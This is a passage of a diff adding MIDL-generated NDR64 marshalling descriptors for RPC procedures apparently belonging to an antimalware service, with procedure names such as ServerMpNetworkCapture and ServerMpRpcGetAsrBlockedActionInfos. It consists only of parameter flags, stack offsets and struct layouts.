arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2266, + { + /* arg_5 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2368, + { + /* arg_6 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* arg_7 */ /* parameter arg_7 */ + &__midl_frag2368, + { + /* arg_7 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + }, + { + /* arg_8 */ /* parameter arg_8 */ + &__midl_frag2367, + { + /* arg_8 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 64 /* 0x40 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 72 /* 0x48 */, /* Stack offset */ + } +}; + +static const __midl_frag1442_t __midl_frag1442 = +{ +/* Proc154_ServerMpConveyDlpBypass */ + { + /* Proc154_ServerMpConveyDlpBypass */ /* procedure Proc154_ServerMpConveyDlpBypass */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 56 /* 0x38 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 6 /* 0x6 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2266, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2266, + { + /* arg_4 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag2367, + { + /* arg_5 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + } +}; + +static const __midl_frag1436_t __midl_frag1436 = +{ +/* Proc153_ServerMpNetworkCapture */ + { + /* Proc153_ServerMpNetworkCapture */ /* procedure Proc153_ServerMpNetworkCapture */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2364, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1427_t __midl_frag1427 = +{ +/* Proc152_ServerMpUpdateBreakTheGlassStatus */ + { + /* Proc152_ServerMpUpdateBreakTheGlassStatus */ /* procedure Proc152_ServerMpUpdateBreakTheGlassStatus */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2364, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2364, + { + /* arg_3 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1421_t __midl_frag1421 = +{ +/* Proc151_ServerMpRpcGetDevMode */ + { + /* Proc151_ServerMpRpcGetDevMode */ /* procedure Proc151_ServerMpRpcGetDevMode */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1410_t __midl_frag1410 = +{ +/* Proc149_ServerMpRpcSetTPState */ + { + /* Proc149_ServerMpRpcSetTPState */ /* procedure Proc149_ServerMpRpcSetTPState */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1406_t __midl_frag1406 = +{ +/* Struct_3350_t */ + { + /* Struct_3350_t */ + 0x30, /* FC64_STRUCT */ + (NDR64_UINT8) 3 /* 0x3 */, + { + /* Struct_3350_t */ + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 12 /* 0xc */ + } +}; + +static const __midl_frag1405_t __midl_frag1405 = +{ +/* *Struct_3350_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 4 /* 0x4 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1406 +}; + +static const __midl_frag1404_t __midl_frag1404 = +{ +/* Proc148_ServerMpRpcGetTPStateInfo */ + { + /* Proc148_ServerMpRpcGetTPStateInfo */ /* procedure Proc148_ServerMpRpcGetTPStateInfo */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 92 /* 0x5c */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1406, + { + /* arg_1 */ + 0, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustFree, [out], SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1400_t __midl_frag1400 = +{ +/* *Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1398 +}; + +static const __midl_frag1399_t __midl_frag1399 = +{ +/* */ + { + /* *Struct_3220_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1368 + }, + { + /* *Struct_3108_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1313 + } +}; + +static const __midl_frag1398_t __midl_frag1398 = +{ +/* Struct_3302_t */ + { + /* Struct_3302_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3302_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + &__midl_frag1399, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1397_t __midl_frag1397 = +{ +/* */ + (NDR64_UINT32) 1 /* 0x1 */, + { + /* struct _NDR64_EXPR_OPERATOR */ + 0x4, /* FC_EXPR_OPER */ + 0x5, /* OP_UNARY_INDIRECTION */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EXPR_VAR */ + 0x3, /* FC_EXPR_VAR */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */ /* Offset */ + } +}; + +static const __midl_frag1396_t __midl_frag1396 = +{ +/* **Struct_3302_t */ + { + /* **Struct_3302_t */ + 0x41, /* FC64_CONF_ARRAY */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* **Struct_3302_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1397 + }, + { + /* */ + { + /* struct _NDR64_REPEAT_FORMAT */ + 0x82, /* FC64_VARIABLE_REPEAT */ + { + /* struct _NDR64_REPEAT_FORMAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* */ + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1398 + } + }, + 0x93 /* FC64_END */ + }, + { + /* struct _NDR64_ARRAY_ELEMENT_INFO */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1400 + } +}; + +static const __midl_frag1395_t __midl_frag1395 = +{ +/* **Struct_3302_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 32 /* 0x20 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1396 +}; + +static const __midl_frag1394_t __midl_frag1394 = +{ +/* ***Struct_3302_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1395 +}; + +static const __midl_frag1388_t __midl_frag1388 = +{ +/* Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + { + /* Proc147_ServerMpRpcGetAsrBlockedActionInfos */ /* procedure Proc147_ServerMpRpcGetAsrBlockedActionInfos */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 64 /* 0x40 */ , /* Stack size */ + (NDR64_UINT32) 88 /* 0x58 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 7 /* 0x7 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag36, + { + /* arg_1 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2368, + { + /* arg_3 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2368, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* arg_5 */ /* parameter arg_5 */ + &__midl_frag1394, + { + /* arg_5 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + }, + { + /* arg_6 */ /* parameter arg_6 */ + &__midl_frag2367, + { + /* arg_6 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 48 /* 0x30 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 56 /* 0x38 */, /* Stack offset */ + } +}; + +static const __midl_frag1383_t __midl_frag1383 = +{ +/* Struct_3280_t */ + { + /* Struct_3280_t */ + 0x31, /* FC64_PSTRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3280_t */ + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 8 /* 0x8 */ + }, + { + /* */ + { + /* struct _NDR64_NO_REPEAT_FORMAT */ + 0x80, /* FC64_NO_REPEAT */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + 0x93 /* FC64_END */ + } +}; + +static const __midl_frag1382_t __midl_frag1382 = +{ +/* *Struct_3280_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1383 +}; + +static const __midl_frag1381_t __midl_frag1381 = +{ +/* **Struct_3280_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1382 +}; + +static const __midl_frag1380_t __midl_frag1380 = +{ +/* 